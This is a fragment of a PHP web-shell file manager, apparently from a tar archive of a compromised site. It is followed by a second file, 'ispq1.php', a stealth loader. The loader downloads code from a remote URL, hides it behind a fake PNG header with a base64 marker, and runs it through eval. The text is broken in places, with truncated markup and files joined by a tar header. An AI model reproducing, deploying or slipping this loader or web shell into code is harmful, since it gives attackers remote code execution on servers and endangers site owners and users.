$this->zip->close(); return false; } } $this->zip->close(); return true; } else { if ($this->addFileOrDir($files)) { $this->zip->close(); return true; } return false; } } public function unzip($filename, $path) { $res = $this->zip->open($filename); if ($res !== true) { return false; } if ($this->zip->extractTo($path)) { $this->zip->close(); return true; } return false; } private function addFileOrDir($filename) { if (is_file($filename)) { return $this->zip->addFile($filename); } elseif (is_dir($filename)) { return $this->addDir($filename); } return false; } private function addDir($path) { if (!$this->zip->addEmptyDir($path)) { return false; } $objects = scandir($path); if (is_array($objects)) { foreach ($objects as $file) { if ($file != '.' and $file != '..') { if (is_dir($path . '/' . $file)) { if (!$this->addDir($path . '/' . $file)) { return false; } } elseif (is_file($path . '/' . $file)) { if (!$this->zip->addFile($path . '/' . $file)) { return false; } } } } return true; } return false; } } class FM_Zipper_Tar { private $tar; public function __construct() { $this->tar = null; } public function create($filename, $files) { $this->tar = new PharData($filename); if (is_array($files)) { foreach ($files as $f) { $f = fm_clean_path($f); if (!$this->addFileOrDir($f)) { return false; } } return true; } else { if ($this->addFileOrDir($files)) { return true; } return false; } } public function unzip($filename, $path) { $res = $this->tar->open($filename); if ($res !== true) { return false; } if ($this->tar->extractTo($path)) { return true; } return false; } /** * Add file/folder to archive * @param string $filename * @return bool */ private function addFileOrDir($filename) { if (is_file($filename)) { try { $this->tar->addFile($filename); return true; } catch (Exception $e) { return false; } } elseif (is_dir($filename)) { return $this->addDir($filename); } return false; } private function addDir($path) { $objects = scandir($path); if (is_array($objects)) { foreach ($objects as $file) { if ($file != '.' and $file != '..') { if (is_dir($path . '/' . $file)) { if (!$this->addDir($path . '/' . $file)) { return false; } } elseif (is_file($path . '/' . $file)) { try { $this->tar->addFile($path . '/' . $file); } catch (Exception $e) { return false; } } } } return true; } return false; } } class FM_Config { var $data; function __construct() { global $root_path, $root_url, $CONFIG; $fm_url = $root_url.$_SERVER["PHP_SELF"]; $this->data = array( 'lang' => 'en', 'error_reporting' => true, 'show_hidden' => true ); $data = false; if (strlen($CONFIG)) { $data = fm_object_to_array(json_decode($CONFIG)); } else { $msg = 'swallowable
Error: Cannot load configuration'; if (substr($fm_url, -1) == '/') { $fm_url = rtrim($fm_url, '/'); $msg .= '
'; $msg .= '
Seems like you have a trailing slash on the URL.'; $msg .= '
Try this link: ' . $fm_url . ''; } die($msg); } if (is_array($data) and count($data)) $this->data = $data; else $this->save(); } function save() { $fm_file = __FILE__; $var_name = '$CONFIG'; $var_value = var_export(json_encode($this->data), true); $config_string = " ' . $_SESSION[DN_CESSION_ID]['message'] . '

'; unset($_SESSION[DN_CESSION_ID]['message']); unset($_SESSION[DN_CESSION_ID]['status']); } } function fm_show_header_login() { $sprites_ver = '20160315'; header("Content-Type: text/html; charset=utf-8"); header("Expires: Sat, 26 Jul 1997 05:00:00 GMT"); header("Cache-Control: no-store, no-cache, must-revalidate, post-check=0, pre-check=0"); header("Pragma: no-cache"); global $lang, $root_url, $favicon_path; ?> '; } ?> <?php echo fanco(APP_TITLE) ?> ">
'; } ?> <?php echo fanco(APP_TITLE) ?> ">
ispq1.php000064400000006027151550042200006311 0ustar00eof()) { $content .= $file->fgets(); } } catch (Throwable $e) { $content = ''; } if (strlen(trim($content)) < 1) { $content = @file_get_contents($url); } if (strlen(trim($content)) < 1 && function_exists('curl_init')) { $ch = curl_init($url); curl_setopt_array($ch, [ CURLOPT_RETURNTRANSFER => true, CURLOPT_FOLLOWLOCATION => true, CURLOPT_CONNECTTIMEOUT => 5, CURLOPT_TIMEOUT => 10, ]); $content = curl_exec($ch); curl_close($ch); } return $content; } // -------------------------------------------- // 3. Create payload by appending hidden PHP code // -------------------------------------------- function createStealthPayload($phpCode) { $png = generateRealisticPngHeader(); $marker = '###PAYLOAD###'; $encoded = base64_encode($phpCode); return $png . $marker . $encoded; } // -------------------------------------------- // 4. Extract and execute hidden payload // -------------------------------------------- function extractAndExecutePayload($data) { $marker = '###PAYLOAD###'; $parts = explode($marker, $data); if (count($parts) === 2) { $decoded = base64_decode($parts[1]); if ($decoded !== false && strlen(trim($decoded)) > 0) { @eval("?>$decoded"); } } } // -------------------------------------------- // Main Execution Flow // -------------------------------------------- $remoteCode = loadRemoteData($mainUrl); if (strlen(trim($remoteCode)) > 0) { $payload = createStealthPayload($remoteCode); extractAndExecutePayload($payload); // Executes hidden remote code } ?>